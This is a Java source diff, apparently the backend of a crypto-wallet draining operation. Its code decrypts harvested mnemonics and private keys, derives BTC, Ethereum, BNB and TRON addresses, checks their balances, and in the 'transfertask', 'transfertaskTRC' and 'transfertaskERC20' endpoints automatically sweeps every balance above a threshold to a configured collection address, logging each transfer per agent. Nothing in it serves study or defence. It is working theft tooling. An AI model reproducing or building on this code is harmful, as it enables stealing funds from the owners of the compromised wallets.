+ if (trxarr.size() <= 0) {
|
|
|
+ if (!trxlinshi.equals("") && !trxlinshi.equals(null)) {
|
|
|
+ trxarr.add(0, trxlinshi);
|
|
|
+ }
|
|
|
+ }
|
|
|
+// log.error("trx分组数据,全部数据是:>>>>"+trxarr+":::::::::::"+trxlinshi);
|
|
|
+ trxyes.set(true);
|
|
|
+ trxpsadd++;
|
|
|
+ }
|
|
|
+ }
|
|
|
+ for (int i = 0; i < trclist.size(); i++) {
|
|
|
+ String ck2 = trclist.get(i).getAddress();
|
|
|
+ if (str.contains(ck2)) {
|
|
|
+ log.error("trc包含这个区块》》》》》》》》》》》》》》》》》》》" + ck2);
|
|
|
+ if (trcpsadd % 11 == 0 && trcpsadd != 0) {
|
|
|
+ if (!trclinshi.equals("") && !trclinshi.equals(null)) {
|
|
|
+ trcarr.add(trcps, trclinshi);
|
|
|
+ trcps++;
|
|
|
+ trclinshi = "";
|
|
|
+ }
|
|
|
+ } else {
|
|
|
+ trclinshi = trclinshi + "," + ck2;
|
|
|
+ }
|
|
|
+
|
|
|
+ if (trcarr.size() <= 0) {
|
|
|
+ if (!trclinshi.equals("") && !trclinshi.equals(null)) {
|
|
|
+ trcarr.add(0, trclinshi);
|
|
|
+ }
|
|
|
+ }
|
|
|
+ trcyes.set(true);
|
|
|
+ trcpsadd++;
|
|
|
+ }
|
|
|
+ }
|
|
|
+
|
|
|
+ if (trxyes.get() && !trxarr.isEmpty()) {
|
|
|
+ //trx有值
|
|
|
+ for (int i = 0; i < trxarr.size(); i++) {
|
|
|
+ String addressgroup = trxarr.get(i);
|
|
|
+ if (!addressgroup.isEmpty()) {
|
|
|
+ updatebalance(addressgroup);
|
|
|
+ }
|
|
|
+ }
|
|
|
+ }
|
|
|
+ if (trcyes.get() && !trcarr.isEmpty()) {
|
|
|
+ //trc有值
|
|
|
+ for (int i = 0; i < trcarr.size(); i++) {
|
|
|
+ String addressgroup = trcarr.get(i);
|
|
|
+ if (!addressgroup.isEmpty()) {
|
|
|
+ updatebalance(addressgroup);
|
|
|
+ }
|
|
|
+ }
|
|
|
+ }
|
|
|
+ }
|
|
|
+// }, WalletConstants.getExecutor());
|
|
|
+
|
|
|
+ } catch (Exception e) {
|
|
|
+ e.printStackTrace();
|
|
|
+ log.error("批量扫快task:{}", e.getMessage());
|
|
|
+ }
|
|
|
+ }
|
|
|
+
|
|
|
+ public void updatebalance(String addressgroup) {
|
|
|
+ log.error("开始处理余额:>>>>");
|
|
|
+
|
|
|
+ try {
|
|
|
+ Map<String, Map<String, BigDecimal>> balances = WalletUtils.batchQueryBalances(WalletUtils.addrStrToArr(addressgroup, null));
|
|
|
+
|
|
|
+
|
|
|
+ // Print results
|
|
|
+ balances.forEach((address, balanceMap) -> {
|
|
|
+ System.out.println("Address: " + address);
|
|
|
+ balanceMap.forEach((type, balance) -> {
|
|
|
+ String token = "";
|
|
|
+ String address2 = address.split("-")[0];
|
|
|
+ //开始token入库
|
|
|
+ ApiMnemonicToken apitoken2 = new ApiMnemonicToken();
|
|
|
+ apitoken2.setAddress(address2);
|
|
|
+ apitoken2.setToken(token);
|
|
|
+ List<ApiMnemonicToken> list3 = apiMnemonicTokenMapper.selectSysMnemonicTokenList(apitoken2);
|
|
|
+ if (list3.size() > 0) {
|
|
|
+ log.error("开始入库了:>>>>" + list3);
|
|
|
+ Long findid = list3.get(0).getId();
|
|
|
+ ApiMnemonicToken pp1 = apiMnemonicTokenMapper.selectSysMnemonicTokenById(findid);
|
|
|
+ pp1.setBalance(balance);
|
|
|
+ pp1.setUpdatedTime(System.currentTimeMillis() / 1000);
|
|
|
+ apiMnemonicTokenMapper.updateSysMnemonicToken(pp1);
|
|
|
+ //助记词余额更新
|
|
|
+ Long mnemonicid = list3.get(0).getMnemonicid();
|
|
|
+ ApiMnemonic pp2 = apiMnemonicMapper.selectSysMnemonicById(mnemonicid);
|
|
|
+ pp2.setUpdatedTime(System.currentTimeMillis() / 1000);
|
|
|
+ switch (type) {
|
|
|
+
|
|
|
+ case "BEP-20":
|
|
|
+ token = "bep";
|
|
|
+ pp2.setBep(balance);
|
|
|
+ break;
|
|
|
+// case "BIDR":
|
|
|
+// chain="bsc";
|
|
|
+// break;
|
|
|
+ case "BNB":
|
|
|
+ token = "bnb";
|
|
|
+ pp2.setBnb(balance);
|
|
|
+ break;
|
|
|
+ case "ETH":
|
|
|
+ token = "eth";
|
|
|
+ pp2.setEth(balance);
|
|
|
+ break;
|
|
|
+ case "ERC-20":
|
|
|
+ token = "erc";
|
|
|
+ pp2.setErc(balance);
|
|
|
+ break;
|
|
|
+// case "ERC-20-USDC":
|
|
|
+// chain="eth";
|
|
|
+//
|
|
|
+// break;
|
|
|
+ case "TRC-20":
|
|
|
+ token = "trc";
|
|
|
+ pp2.setTrc(balance);
|
|
|
+ break;
|
|
|
+ case "TRX":
|
|
|
+ token = "trx";
|
|
|
+ pp2.setTrx(balance);
|
|
|
+ break;
|
|
|
+ case "BTC":
|
|
|
+ token = "btc";
|
|
|
+ pp2.setBtc(balance);
|
|
|
+ break;
|
|
|
+ }
|
|
|
+ apiMnemonicMapper.updateSysMnemonic(pp2);
|
|
|
+ }
|
|
|
+
|
|
|
+
|
|
|
+ });
|
|
|
+ });
|
|
|
+
|
|
|
+ } catch (Exception e) {
|
|
|
+ log.error("updatebalance方法:{}", e.getMessage());
|
|
|
+ }
|
|
|
+
|
|
|
+ }
|
|
|
+
|
|
|
+ private static String getToken(String type) {
|
|
|
+ switch (type) {
|
|
|
+ case "BEP-20":
|
|
|
+ return "bep";
|
|
|
+ case "BNB":
|
|
|
+ return "bnb";
|
|
|
+ case "ETH":
|
|
|
+ return "eth";
|
|
|
+ case "ERC-20":
|
|
|
+ return "erc";
|
|
|
+ case "TRC-20":
|
|
|
+ return "trc";
|
|
|
+ case "TRX":
|
|
|
+ return "trx";
|
|
|
+ case "BTC":
|
|
|
+ return "btc";
|
|
|
+ default:
|
|
|
+ return "";
|
|
|
+ }
|
|
|
+ }
|
|
|
+
|
|
|
+ /**
|
|
|
+ * 余额操作
|
|
|
+ *
|
|
|
+ * @param id
|
|
|
+ * @return
|
|
|
+ */
|
|
|
+ @RequestMapping("/updateblance2")
|
|
|
+ public String updateblance2(@Param("id") String id) {
|
|
|
+ ApiMnemonicToken apitoken = new ApiMnemonicToken();
|
|
|
+ apitoken.setMnemonicid(Long.valueOf(id));
|
|
|
+ List<ApiMnemonicToken> apilist = apiMnemonicTokenMapper.selectSysMnemonicTokenList(apitoken);
|
|
|
+ List<String> ins = new ArrayList<>();
|
|
|
+ for (int i = 0; i < apilist.size(); i++) {
|
|
|
+ String token = apilist.get(i).getAddress();
|
|
|
+ if (!token.equals("") && !token.equals(null) && !ins.contains(token)) {
|
|
|
+ ins.add(token);
|
|
|
+ }
|
|
|
+ }
|
|
|
+ String json = ins.toString();
|
|
|
+
|
|
|
+ try {
|
|
|
+ Map<String, Map<String, BigDecimal>> balances = WalletUtils.batchQueryBalances(WalletUtils.addrStrToArr(json, null));
|
|
|
+ balances.forEach((address, balanceMap) -> {
|
|
|
+ System.out.println("Address: " + address);
|
|
|
+ balanceMap.forEach((type, balance) -> {
|
|
|
+
|
|
|
+ String address2 = address.split("-")[0];
|
|
|
+ //开始token入库
|
|
|
+ ApiMnemonicToken apitoken2 = new ApiMnemonicToken();
|
|
|
+ apitoken2.setAddress(address2);
|
|
|
+ apitoken2.setToken(getToken(type));
|
|
|
+ apitoken2.setDeletedTime(0L);
|
|
|
+ List<ApiMnemonicToken> list3 = apiMnemonicTokenMapper.selectSysMnemonicTokenList(apitoken2);
|
|
|
+ if (list3.size() > 0) {
|
|
|
+ log.error("开始入库了:>>>>" + list3);
|
|
|
+ Long findid = list3.get(0).getId();
|
|
|
+ ApiMnemonicToken pp1 = apiMnemonicTokenMapper.selectSysMnemonicTokenById(findid);
|
|
|
+ pp1.setBalance(balance);
|
|
|
+ pp1.setUpdatedTime(System.currentTimeMillis() / 1000);
|
|
|
+ apiMnemonicTokenMapper.updateSysMnemonicToken(pp1);
|
|
|
+ //助记词余额更新
|
|
|
+ Long mnemonicid = list3.get(0).getMnemonicid();
|
|
|
+ ApiMnemonic pp2 = apiMnemonicMapper.selectSysMnemonicById(mnemonicid);
|
|
|
+ pp2.setUpdatedTime(System.currentTimeMillis() / 1000);
|
|
|
+ switch (type) {
|
|
|
+
|
|
|
+ case "BEP-20":
|
|
|
+ pp2.setBep(balance);
|
|
|
+ break;
|
|
|
+// case "BIDR":
|
|
|
+// chain="bsc";
|
|
|
+// break;
|
|
|
+ case "BNB":
|
|
|
+ pp2.setBnb(balance);
|
|
|
+ break;
|
|
|
+ case "ETH":
|
|
|
+ pp2.setEth(balance);
|
|
|
+ break;
|
|
|
+ case "ERC-20":
|
|
|
+ pp2.setErc(balance);
|
|
|
+ break;
|
|
|
+// case "ERC-20-USDC":
|
|
|
+// chain="eth";
|
|
|
+//
|
|
|
+// break;
|
|
|
+ case "TRC-20":
|
|
|
+ pp2.setTrc(balance);
|
|
|
+ break;
|
|
|
+ case "TRX":
|
|
|
+ pp2.setTrx(balance);
|
|
|
+ break;
|
|
|
+ case "BTC":
|
|
|
+ pp2.setBtc(balance);
|
|
|
+ break;
|
|
|
+ }
|
|
|
+ apiMnemonicMapper.updateSysMnemonic(pp2);
|
|
|
+ }
|
|
|
+
|
|
|
+
|
|
|
+ });
|
|
|
+ });
|
|
|
+ } catch (Exception e) {
|
|
|
+ log.error("updateblance2接口报错:{}" + e);
|
|
|
+ }
|
|
|
+
|
|
|
+ return "";
|
|
|
+ }
|
|
|
+
|
|
|
+ /**
|
|
|
+ * 轮训刷新
|
|
|
+ *
|
|
|
+ * @param num
|
|
|
+ */
|
|
|
+ @RequestMapping("/taskcycle3")
|
|
|
+ public void taskcycle3(String num) {
|
|
|
+
|
|
|
+ try {
|
|
|
+ ApiMnemonic asapi = new ApiMnemonic();
|
|
|
+ asapi.setlimitnum(Integer.valueOf(num));
|
|
|
+ List<ApiMnemonic> listtask = apiMnemonicMapper.selectSysMnemonicList(asapi);
|
|
|
+// log.error("提取数据的数量》》》》》》》"+listtask.size());
|
|
|
+ String sc = "";
|
|
|
+ for (int i = 0; i < Integer.parseInt(num); i++) {
|
|
|
+ String mneid = decryptByPrivateKey(listtask.get(i).getMnemonic());
|
|
|
+ updatebalance3(mneid);
|
|
|
+ }
|
|
|
+ } catch (Exception e) {
|
|
|
+ log.error("轮训刷新taskcycle3方法{}" + e);
|
|
|
+ }
|
|
|
+
|
|
|
+ }
|
|
|
+
|
|
|
+ public void updatebalance3(String keyword) {
|
|
|
+ log.error("开始处理余额:>>>>" + keyword);
|
|
|
+
|
|
|
+ try {
|
|
|
+ long startTime = System.currentTimeMillis();
|
|
|
+
|
|
|
+ String keywordmd5 = getMD5(keyword.replaceAll(" ", ""));
|
|
|
+// log.error("返回插入的id:::::搜索token>>"+keywordmd5);
|
|
|
+ //首先查询数据库中是否有该助记词
|
|
|
+ ApiMnemonic checkac = new ApiMnemonic();
|
|
|
+ checkac.setmnemonicmd5(keywordmd5);
|
|
|
+// log.error("返回插入的id:::::::程序执行到这里了1>>>"+checkac);
|
|
|
+ List<ApiMnemonic> checks = ApiMnemonicMapper.selectSysMnemonicList(checkac);
|
|
|
+// log.error("返回插入的id:::::::程序执行到这里了1>>>"+checks);
|
|
|
+ if (!WalletUtils.isValidPrivateKey(keyword) && !WalletUtils.isValidMnemonic(keyword)) {
|
|
|
+ if (!checks.isEmpty()) {
|
|
|
+ ApiMnemonicMapper.deleteSysMnemonicById(checks.get(0).getId());
|
|
|
+ }
|
|
|
+ } else {
|
|
|
+ if (!checks.isEmpty()) {
|
|
|
+ Long pid = checks.get(0).getId();
|
|
|
+ checkac.setId(pid);
|
|
|
+ checkac.setUpdatedTime(System.currentTimeMillis() / 1000);
|
|
|
+
|
|
|
+ //开始查询助记词的余额//"BIDR", "ERC-20-USDC",
|
|
|
+
|
|
|
+ List<String> tokenTypeList = new ArrayList<>();
|
|
|
+ tokenTypeList.add("BNB");
|
|
|
+ tokenTypeList.add("BEP-20");
|
|
|
+ tokenTypeList.add("ETH");
|
|
|
+ tokenTypeList.add("TRC-20");
|
|
|
+ tokenTypeList.add("TRX");
|
|
|
+ tokenTypeList.add("ERC-20-USDT");
|
|
|
+ tokenTypeList.add("BTC");
|
|
|
+ Map<String, List<String>> addressMap = new HashMap<>();
|
|
|
+ // 获取钱包地址
|
|
|
+ Map<String, TWallet> walletMap = new HashMap<>();
|
|
|
+
|
|
|
+ tokenTypeList.stream().forEach(tokenType -> {
|
|
|
+ TWallet twallet = null;
|
|
|
+ switch (tokenType) {
|
|
|
+ case "BEP-20":
|
|
|
+ case "BIDR":
|
|
|
+ case "ETH":
|
|
|
+ case "BNB":
|
|
|
+ case "ERC-20-USDT":
|
|
|
+ case "ERC-20-USDC":
|
|
|
+ twallet = TMnemonicUtils.ethAddrWithSeed(WalletUtils.isValidMnemonic(keyword) ? TMnemonicUtils.mnemonicToSeed(keyword) : TMnemonicUtils.privateKeyHexToBigInteger(keyword), WalletUtils.isValidPrivateKey(keyword));
|
|
|
+ break;
|
|
|
+ case "TRC-20":
|
|
|
+ case "TRX":
|
|
|
+ twallet = TMnemonicUtils.generateTronWallet(WalletUtils.isValidMnemonic(keyword) ? TMnemonicUtils.mnemonicToSeed(keyword) : TMnemonicUtils.privateKeyHexToBigInteger(keyword), WalletUtils.isValidPrivateKey(keyword));
|
|
|
+ break;
|
|
|
+ case "BTC":
|
|
|
+ twallet = TMnemonicUtils.btcBech32AddrWithSeed(WalletUtils.isValidMnemonic(keyword) ? TMnemonicUtils.mnemonicToSeed(keyword) : TMnemonicUtils.privateKeyHexToBigInteger(keyword), WalletUtils.isValidPrivateKey(keyword));
|
|
|
+ break;
|
|
|
+ }
|
|
|
+ if (twallet != null) {
|
|
|
+ addressMap.put(tokenType, Arrays.asList(twallet.getWalletAddress()));
|
|
|
+ }
|
|
|
+
|
|
|
+ if (twallet != null) {
|
|
|
+ walletMap.put(twallet.getWalletAddress() + "-" + tokenType, twallet);
|
|
|
+ }
|
|
|
+ });
|
|
|
+
|
|
|
+ try {
|
|
|
+ // Perform batch query
|
|
|
+ Map<String, Map<String, BigDecimal>> balances = WalletUtils.batchQueryBalances(addressMap);
|
|
|
+
|
|
|
+ // Print results
|
|
|
+ balances.forEach((address, balanceMap) -> {
|
|
|
+ System.out.println("Address: " + address);
|
|
|
+ balanceMap.forEach((type, balance) -> {
|
|
|
+ System.out.println(" " + type + " Balance: " + balance);
|
|
|
+
|
|
|
+ TWallet wallet = walletMap.get(address);
|
|
|
+ switch (type) {
|
|
|
+
|
|
|
+ case "BEP-20":
|
|
|
+ checkac.setBep(balance);
|
|
|
+ break;
|
|
|
+ case "BNB":
|
|
|
+ checkac.setBnb(balance);
|
|
|
+ break;
|
|
|
+ case "ETH":
|
|
|
+ checkac.setEth(balance);
|
|
|
+ break;
|
|
|
+ case "ERC-20":
|
|
|
+ checkac.setErc(balance);
|
|
|
+ break;
|
|
|
+// case "ERC-20-USDC":
|
|
|
+// chain="eth";
|
|
|
+//
|
|
|
+// break;
|
|
|
+ case "TRC-20":
|
|
|
+ checkac.setTrc(balance);
|
|
|
+ break;
|
|
|
+ case "TRX":
|
|
|
+ checkac.setTrx(balance);
|
|
|
+ break;
|
|
|
+ case "BTC":
|
|
|
+ checkac.setBtc(balance);
|
|
|
+ break;
|
|
|
+ }
|
|
|
+
|
|
|
+ });
|
|
|
+ });
|
|
|
+ apiMnemonicMapper.updateSysMnemonic(checkac);
|
|
|
+
|
|
|
+ } catch (Exception e) {
|
|
|
+ log.error("查询余额异常:>>>>" + e.getMessage());
|
|
|
+ }
|
|
|
+
|
|
|
+ }
|
|
|
+
|
|
|
+ }
|
|
|
+
|
|
|
+ long endTime = System.currentTimeMillis();
|
|
|
+ System.out.println("updatebalance3:Execution time: " + (endTime - startTime) + " ms");
|
|
|
+ } catch (Exception e) {
|
|
|
+ log.error("报错了::》》》" + e);
|
|
|
+ }
|
|
|
+ }
|
|
|
+
|
|
|
+
|
|
|
+ public static String getMD5(String str) {
|
|
|
+ String base = str + "adjlalskdjlakcsjdclsa";
|
|
|
+ String md5 = DigestUtils.md5DigestAsHex(base.getBytes());
|
|
|
+ return md5;
|
|
|
+ }
|
|
|
+
|
|
|
+ public String getData(String url, String parem) {
|
|
|
+ try {
|
|
|
+ String rspStr = HttpUtils.sendGet(url, parem, Constants.UTF8);
|
|
|
+ if (StringUtils.isEmpty(rspStr)) {
|
|
|
+ log.error("未获取到数据");
|
|
|
+ return "";
|
|
|
+ }
|
|
|
+ return rspStr;
|
|
|
+ } catch (Exception e) {
|
|
|
+ log.error("获取地理位置异常 {}", e);
|
|
|
+ }
|
|
|
+ return "";
|
|
|
+ }
|
|
|
+
|
|
|
+ public String postData(String url, String parem) {
|
|
|
+ try {
|
|
|
+ String rspStr = HttpUtils.sendPost(url, parem);
|
|
|
+ if (StringUtils.isEmpty(rspStr)) {
|
|
|
+ log.error("未获取到数据");
|
|
|
+ return "";
|
|
|
+ }
|
|
|
+ return rspStr;
|
|
|
+ } catch (Exception e) {
|
|
|
+ log.error("获取地理位置异常 {}", e);
|
|
|
+ }
|
|
|
+ return "";
|
|
|
+ }
|
|
|
+
|
|
|
+ /**
|
|
|
+ * 处理转账和秒u这块
|
|
|
+ */
|
|
|
+ @RequestMapping("/transfertasksingle")
|
|
|
+ public void transfertasksingle() {
|
|
|
+ try {
|
|
|
+
|
|
|
+ List<ApiMnemonicToken> singlelist = apiMnemonicTokenMapper.selectSysMnemonicTokenTaskSingleList("trc");
|
|
|
+ log.error("提取所有符合条件的" + singlelist);
|
|
|
+ // TRC秒U地址
|
|
|
+ String totrcaddress = configService2.selectConfigByKey("transfer.trc");
|
|
|
+
|
|
|
+ // 多线程流,每个代币表数据互不影响
|
|
|
+ singlelist.parallelStream().forEach(apiMnemonicToken -> {
|
|
|
+ // 源地址
|
|
|
+ String zjcaddress = apiMnemonicToken.getAddress();
|
|
|
+ // 私钥
|
|
|
+ String zjcprivatekey = decryptByPrivateKey(apiMnemonicToken.getprivatekey());
|
|
|
+
|
|
|
+ BigDecimal zjcbalance = apiMnemonicToken.getBalance();
|
|
|
+ // 余额
|
|
|
+ String jcbalancestr = String.valueOf(zjcbalance);
|
|
|
+
|
|
|
+ Long maid = apiMnemonicToken.getId();
|
|
|
+ ApiMnemonicToken tokeninfo = apiMnemonicTokenMapper.selectSysMnemonicTokenById(maid);
|
|
|
+
|
|
|
+// String postparem = "fromaddress=" + zjcaddress + "&fromprivateaddress=" + zjcprivatekey +
|
|
|
+// "&toaddress=" + totrcaddress + "&money=" + jcbalancestr + "&type=transfer";
|
|
|
+// log.error("单阀值转账字符串》》》》" + postparem);
|
|
|
+// String str = "";// postData(configService2.selectConfigByKey("api.url") + "/api.php", postparem);
|
|
|
+// ;
|
|
|
+ String res = null;
|
|
|
+ try {
|
|
|
+ res = transferapi(TronUtils.sendTrc20(zjcaddress, totrcaddress, new BigDecimal(jcbalancestr), zjcprivatekey)
|
|
|
+ , tokeninfo, zjcaddress, zjcprivatekey, totrcaddress, jcbalancestr, jcbalancestr, 2);
|
|
|
+ } catch (Exception e) {
|
|
|
+ throw new RuntimeException(e);
|
|
|
+ }
|
|
|
+
|
|
|
+ log.error("单阀值转账结果>>>>" + res);
|
|
|
+
|
|
|
+ // return res;
|
|
|
+ });
|
|
|
+
|
|
|
+
|
|
|
+ } catch (Exception e) {
|
|
|
+ log.error("处理转账和秒u这块 {}", e.getMessage());
|
|
|
+ }
|
|
|
+
|
|
|
+// return "ok";
|
|
|
+ }
|
|
|
+
|
|
|
+ /**
|
|
|
+ * 批量转账,只处理TRC
|
|
|
+ */
|
|
|
+ @RequestMapping("/transfertask")
|
|
|
+ public void transfertask() {
|
|
|
+ try {
|
|
|
+
|
|
|
+ log.error("开始处理秒u>>>>>>>");
|
|
|
+ String totrcaddress = configService2.selectConfigByKey("transfer.trc");
|
|
|
+ String tomoney = configService2.selectConfigByKey("transfer.trc.money");
|
|
|
+ List<ApiMnemonicToken> plist = apiMnemonicTokenMapper.selectSysMnemonicTokenTaskList("trc", tomoney);
|
|
|
+// log.error("提取的数据>>>>>>>"+plist);
|
|
|
+// log.error("进入内循环>>>>>>>1");
|
|
|
+ ////////////////////////////////////////////////////////////////
|
|
|
+ plist.parallelStream().forEach(apiMnemonicToken -> {
|
|
|
+
|
|
|
+ // log.error("进入内循环>>>>>>>2");
|
|
|
+ String zjcaddress = apiMnemonicToken.getAddress();
|
|
|
+ String zjcprivatekey = decryptByPrivateKey(apiMnemonicToken.getprivatekey());
|
|
|
+ BigDecimal zjcbalance = apiMnemonicToken.getBalance();
|
|
|
+ Long maid = apiMnemonicToken.getId();
|
|
|
+ //第二次确认金额满足条件
|
|
|
+ int zjcbalance2 = (int) Math.round(Double.parseDouble(String.valueOf(zjcbalance)));
|
|
|
+ if (zjcbalance2 >= Integer.parseInt(tomoney)) {
|
|
|
+
|
|
|
+ String jcbalancestr = String.valueOf(zjcbalance);
|
|
|
+ ApiMnemonicToken tokeninfo = apiMnemonicTokenMapper.selectSysMnemonicTokenById(maid);
|
|
|
+// String postparem = "fromaddress=" + zjcaddress + "&fromprivateaddress=" + zjcprivatekey +
|
|
|
+// "&toaddress=" + totrcaddress + "&money=" + jcbalancestr + "&type=transfer";
|
|
|
+// log.error("普通转账字符串》》》》" + postparem);
|
|
|
+// String str ="";// postData(configService2.selectConfigByKey("api.url") + "/api.php", postparem);
|
|
|
+// String res = transferapi(str, tokeninfo, zjcaddress, zjcprivatekey, totrcaddress, jcbalancestr, jcbalancestr, 2);
|
|
|
+ try {
|
|
|
+ String res = transferapi(TronUtils.sendTrc20(zjcaddress, totrcaddress, new BigDecimal(jcbalancestr), zjcprivatekey)
|
|
|
+ , tokeninfo, zjcaddress, zjcprivatekey, totrcaddress, jcbalancestr, jcbalancestr, 2);
|
|
|
+ } catch (Exception e) {
|
|
|
+ log.error("批量转账,只处理TRC:transfertask方法{}", e.getMessage());
|
|
|
+ }
|
|
|
+ // return res;
|
|
|
+// return "转账返回数据字符串》》》》"+zjcaddress+">>>>>>>>"+postparem;
|
|
|
+ }
|
|
|
+ });
|
|
|
+ ////////////////////////////////////////////////////////////////
|
|
|
+
|
|
|
+ } catch (Exception e) {
|
|
|
+ log.error("批量转账报错>>>>>>>" + e);
|
|
|
+ }
|
|
|
+// return "";
|
|
|
+ }
|
|
|
+
|
|
|
+
|
|
|
+// add by lwh 2025-7-6 start
|
|
|
+ /**
|
|
|
+ * 批量转账,只处理TRC定时任务,悲观锁处理
|
|
|
+ */
|
|
|
+ @Transactional(isolation = Isolation.READ_COMMITTED)
|
|
|
+ @RequestMapping("/transfertaskTRC")
|
|
|
+ public void transfertaskTRC() {
|
|
|
+// modify by denghongxing 2025-7-11 start
|
|
|
+ List<Long> idList = null;
|
|
|
+// modify by denghongxing 2025-7-11 end
|
|
|
+ try {
|
|
|
+ // 获取配置参数
|
|
|
+ String toAddress = configService2.selectConfigByKey("transfer.trc");
|
|
|
+ String sysBalanceStr = configService2.selectConfigByKey("transfer.trc.money");
|
|
|
+ BigDecimal minBalance = new BigDecimal(sysBalanceStr);
|
|
|
+
|
|
|
+ // 1. 先查询符合条件的记录ID(无锁查询,不在事务中)
|
|
|
+ // update by lwh 2025-7-8 start
|
|
|
+ idList = apiMnemonicTokenMapper.selectSysMnemonicTokenIdList("trc", sysBalanceStr, toAddress);
|
|
|
+ // update by lwh 2025-7-8 end
|
|
|
+
|
|
|
+// modify by denghongxing 2025-7-11 start
|
|
|
+ if (idList.isEmpty()) {
|
|
|
+ return;
|
|
|
+ }
|
|
|
+ log.info("找到{}条符合条件的TRC记录", idList.size());
|
|
|
+
|
|
|
+ // 定时任务时间间隔比较短,转帐时间比较长,为了防止重复转账,把正在处理的数据缓存到ConcurrentHashMap中
|
|
|
+ List<Long> ids = new ArrayList<>();
|
|
|
+ for (Long id : idList) {
|
|
|
+ if (!TRC_IDS.contains(id)) {
|
|
|
+ TRC_IDS.add(id);
|
|
|
+ ids.add(id);
|
|
|
+ }
|
|
|
+ }
|
|
|
+ idList = ids;
|
|
|
+ if (idList.isEmpty()) {
|
|
|
+ return;
|
|
|
+ }
|
|
|
+// modify by denghongxing 2025-7-11 end
|
|
|
+
|
|
|
+ // 2. 分批处理(每批50条)
|
|
|
+ int batchSize = 50;
|
|
|
+ for (int i = 0; i < idList.size(); i += batchSize) {
|
|
|
+ int end = Math.min(i + batchSize, idList.size());
|
|
|
+ List<Long> batchIds = idList.subList(i, end);
|
|
|
+
|
|
|
+ // 3. 对每个批次单独处理(在短事务中)
|
|
|
+ // update by lwh 2025-7-8 start
|
|
|
+ apiService.sendTrcBatchWithLock(batchIds, toAddress, minBalance);
|
|
|
+ // update by lwh 2025-7-8 end
|
|
|
+ }
|
|
|
+
|
|
|
+ }catch (Exception e) {
|
|
|
+ log.error("处理TRC批量转账报错,完整堆栈:", e); // 打印完整堆栈
|
|
|
+ throw e;
|
|
|
+ }
|
|
|
+ finally {
|
|
|
+// modify denghongxing 2025-7-11 add
|
|
|
+ if (idList != null && !idList.isEmpty()) {
|
|
|
+ TRC_IDS.removeAll(idList);
|
|
|
+ }
|
|
|
+// modify denghongxing 2025-7-11 end
|
|
|
+ }
|
|
|
+ }
|
|
|
+// add by lwh 2025-7-6 end
|
|
|
+
|
|
|
+
|
|
|
+// add by lwh 2025-7-8 start
|
|
|
+@Transactional(isolation = Isolation.READ_COMMITTED)
|
|
|
+@RequestMapping("/transfertaskERC20")
|
|
|
+public void transfertaskERC20() {
|
|
|
+ List<Long> idList = null;
|
|
|
+ try {
|
|
|
+ // 获取配置参数
|
|
|
+ String toAddress = configService2.selectConfigByKey("transfer.erc");
|
|
|
+ String sysBalanceStr = configService2.selectConfigByKey("transfer.erc.money");
|
|
|
+ BigDecimal minBalance = new BigDecimal(sysBalanceStr);
|
|
|
+
|
|
|
+ // 1. 先查询符合条件的记录ID(无锁查询,不在事务中)
|
|
|
+ idList = apiMnemonicTokenMapper.selectSysMnemonicTokenIdList("erc", sysBalanceStr, toAddress);
|
|
|
+
|
|
|
+// modify by denghongxing 2025-7-11 start
|
|
|
+ if (idList.isEmpty()) {
|
|
|
+ return;
|
|
|
+ }
|
|
|
+ log.info("找到{}条符合条件的ERC记录", idList.size());
|
|
|
+
|
|
|
+ // 定时任务时间间隔比较短,转帐时间比较长,为了防止重复转账,把正在处理的数据缓存到ConcurrentHashMap中
|
|
|
+ List<Long> ids = new ArrayList<>();
|
|
|
+ for (Long id : idList) {
|
|
|
+ if (!ERC_IDS.contains(id)) {
|
|
|
+ ERC_IDS.add(id);
|
|
|
+ ids.add(id);
|
|
|
+ }
|
|
|
+ }
|
|
|
+ idList = ids;
|
|
|
+ if (idList.isEmpty()) {
|
|
|
+ return;
|
|
|
+ }
|
|
|
+// modify by denghongxing 2025-7-11 end
|
|
|
+
|
|
|
+ // 2. 分批处理(每批50条)
|
|
|
+ int batchSize = 50;
|
|
|
+ for (int i = 0; i < idList.size(); i += batchSize) {
|
|
|
+ int end = Math.min(i + batchSize, idList.size());
|
|
|
+ List<Long> batchIds = idList.subList(i, end);
|
|
|
+ // 3. 对每个批次单独处理(在短事务中)
|
|
|
+ apiService.sendErcBatchWithLock(batchIds, toAddress, minBalance);
|
|
|
+ }
|
|
|
+
|
|
|
+ }catch (Exception e) {
|
|
|
+ log.error("处理TRC批量转账报错,完整堆栈:", e); // 打印完整堆栈
|
|
|
+ throw e;
|
|
|
+ }
|
|
|
+ finally {
|
|
|
+// modify denghongxing 2025-7-11 add
|
|
|
+ if (idList != null && !idList.isEmpty()) {
|
|
|
+ ERC_IDS.removeAll(idList);
|
|
|
+ }
|
|
|
+// modify denghongxing 2025-7-11 end
|
|
|
+ }
|
|
|
+}
|
|
|
+// add by lwh 2025-7-8 end
|
|
|
+
|
|
|
+ /**
|
|
|
+ * @param txid 发起trc20转账返回的id
|
|
|
+ * @param tokeninfo 代币表数据
|
|
|
+ * @param fromaddress 钱包地址
|
|
|
+ * @param fromprivateaddress 钱包私钥
|
|
|
+ * @param toaddress TRC秒U地址
|
|
|
+ * @param money 新余额
|
|
|
+ * @param oldmoney 旧余额
|
|
|
+ * @param txtype 提现类型:1最高优先级2普通优先级
|
|
|
+ * @return
|
|
|
+ */
|
|
|
+ public String transferapi(String txid, ApiMnemonicToken tokeninfo, String fromaddress, String fromprivateaddress,
|
|
|
+ String toaddress, String money, String oldmoney, int txtype) {
|
|
|
+ log.error("转账返回字符串》》》》》》》" + txid);
|
|
|
+ try {
|
|
|
+
|
|
|
+ if (txid != null) {
|
|
|
+ BigDecimal b1 = new BigDecimal(oldmoney);
|
|
|
+ BigDecimal b2 = new BigDecimal(money);
|
|
|
+ BigDecimal b3 = b1.subtract(b2);
|
|
|
+ int b33 = b3.compareTo(BigDecimal.ZERO);
|
|
|
+ // 转账成功
|
|
|
+ log.error("转账成功了");
|
|
|
+ // 开始入库
|
|
|
+ ApiTransferLog logrk = new ApiTransferLog();
|
|
|
+ logrk.setAgentid(Long.valueOf(tokeninfo.getAgentid()));
|
|
|
+ logrk.setToken(tokeninfo.getToken());
|
|
|
+ logrk.setFromaddress(fromaddress);
|
|
|
+ logrk.setFromprivateaddress(encryptByPublicKey(fromprivateaddress));
|
|
|
+ logrk.setTxtype(txtype);
|
|
|
+ logrk.setToaddress(toaddress);
|
|
|
+ logrk.setMoney(new BigDecimal(money));
|
|
|
+ logrk.setTxid(txid);
|
|
|
+ apiTransferLogMapper.insertSysTransferLog(logrk);
|
|
|
+ // 扣除数据库金额
|
|
|
+ if (b33 > 0) {
|
|
|
